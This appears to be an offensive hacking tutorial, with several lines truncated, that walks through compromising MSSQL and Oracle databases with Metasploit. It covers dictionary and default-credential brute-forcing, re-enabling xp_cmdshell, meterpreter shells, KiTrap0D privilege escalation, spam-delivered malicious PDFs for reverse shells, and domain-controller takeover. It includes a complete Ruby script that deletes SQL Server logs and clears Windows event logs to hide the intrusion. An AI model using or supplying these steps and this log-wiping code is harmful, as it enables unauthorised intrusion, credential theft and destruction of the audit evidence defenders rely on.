[0x01] - Get Root on MSSQL Database
#####################################

In this section, we talk about attacking MSSQL Database in network. We will start with scanning
and enumeration MSSQL then we move to gain access system with SYSTEM Privilege in order to control the machine completely.

++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++

First, start with scanning by using Metasploit Framework with MSSQL Modules.

windows/mssql/ms09_004_sp_replwritetovarbin good Microsoft SQL Server sp_replwritetovarbin Memory Corruption

The first example, We use mssql_loing to scan machine that used MSSQL database and try dictionary attack with our dict:

Next step, We will get shell from target with MSSQL's stored procedure xp_cmdshell. It enabled by default on MSSQL2000 but in MSSQL2005,200

Re-Enable XP_CMDSHELL on MSSQL 2005/2008 - "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmd
Re-Enable XP_CMDSHELL on MSSQL 2000 - "exec sp_addextendedproc 'xp_cmdshell','xp_log70.dll';exec sp_addextendedproc 'xp_cmdshell', 'C:Progra

Now we use mssql_payload to spawn meterpreter shell that make me easy to compromise system

[0x01c] - Covering Track
++++++++++++++++++++++++++

How about Log file ?? When we used meterpreter script to spawn shell, Windows Event viewer can keep our log activity. So I found nice scrip

Mssqlclear.rb

[Code]-----------------------------------------------------------------------------------

#MSSQL LOG CLEAR BY ZERO COLD

def list_exec(session,cmdlst)
print_status("Running Command List ...")
r=''
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "running command #{cmd}"
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)

print_status("#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
end

commands = ['Net STOP "SQL Server (SQLEXPRESS)" ',
'del "%SystemDrive%Program FilesMicrosoft SQL ServerMSSQL.1MSSQLLOGERRORLOG.*"',
'del "%SystemDrive%Program FilesMicrosoft SQL ServerMSSQL.1MSSQLLOGlog*.trc"',
'Net START "SQL Server (SQLEXPRESS)"']
def clrevtlgs(session)
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
print_status("Clearing Event Logs, this will leave and event 517")
begin
evtlogs.each do |evl|
print_status("Clearing the #{evl} Event Log")
log = session.sys.eventlog.open(evl)
log.clear
end
print_status("All Event Logs have been cleared")
rescue ::Exception => e
print_status("Error clearing Event Log: #{e.class} #{e}")

end
end

list_exec(client,commands)
clrevtlgs(client)

[End Code]------------------------------------------------------------------------------------

Now we got mssqlclear.rb then place code into your metasploit scripts directory

[Run Script]---------------------------------------------------------------------------------

meterpreter > run mssqlclear

Next, We must find machine that use Oracle DB (Default port=1521) with 'scanner/oracle/tnslsnr_version'.

Next step, Find SID instance (Service Name) on 192.168.163.140. Oracle 9i can enumerate SID with TNS_listener (No password) or use tns_cmd

It's seem we lucky to found SERVICE_NAME=RD.ORA, If 'sid_enum' not work, You can use 'admin/oracle/sid_brute' to find SID. Next step, Make

Now We got real SID is RD.ORA, Next step use 'admin/oracle/login_brute' to brute-force weak username and password
such as SYSTEM/MANAGER, DBSNMP/DBSNMP, SCOTT/TIGER Then Connect to Oracle database and query command with 'admin/oracle/oracle_sql'
For example we use SCOTT/TIGET that default username/password.

DBA-level priv. In Metasploit have module for SQLi Oracle:

Metasploit is a tool for exploiting system and software vulnerabilities.A new day has come with new software vulnerabilities such as "Opera

New Trend for attack is Attack Layer 8 - Client Side Exploit. So This chapter we will point to attack "From Slave to God" that start with C

<< KiTrap0D >> Exploit for All Windows versions, Local Ring0 Kernel Exploit

All 32bit x86 versions of Windows NT released since 27-Jul-1993 are believed to
be affected, including but not limited to the following actively supported
versions:

- Windows 2000
- Windows XP
- Windows Server 2003
- Windows Vista
- Windows Server 2008
- Windows 7
- etc.

Kitrap0D were combine into Metasploit Framework Meterpreter ;) You must SVN update metasploit to the latest exploit too for get it.

This Operation, we send Many SPAM Mail to victim's mail then waiting for connection. We used Adobe JBIG2Decode Vulnerability that affect Ad

:MISSION:

SPAM Mails
1. Zea3ul ---------------------> Victim@abc.com (Open PDF and Reverse Shell back to Zeq3ul)
^ |
| |
--------------------------------/
Reverse Meterpreter Shell

2. Zeq3ul Get Meterpreter shell with USER's Priv, Then Exploit Local kernel with KiTrap0D to SYSTEM's Priv.
3. Zeq3ul Can full compromise victim system, Then Pivot Network and Attack other machine that joined Domain Controller
4. Compromise Domain Controller and all systems. Victory !!!

From Result, We can conclude that We must compromise only 1 machine that joined domain then impersonate token to "Domain admins", Add user
"Domain admins" group. Now we compromise all system that joined Domain controller. Mission Accomplished !!!!
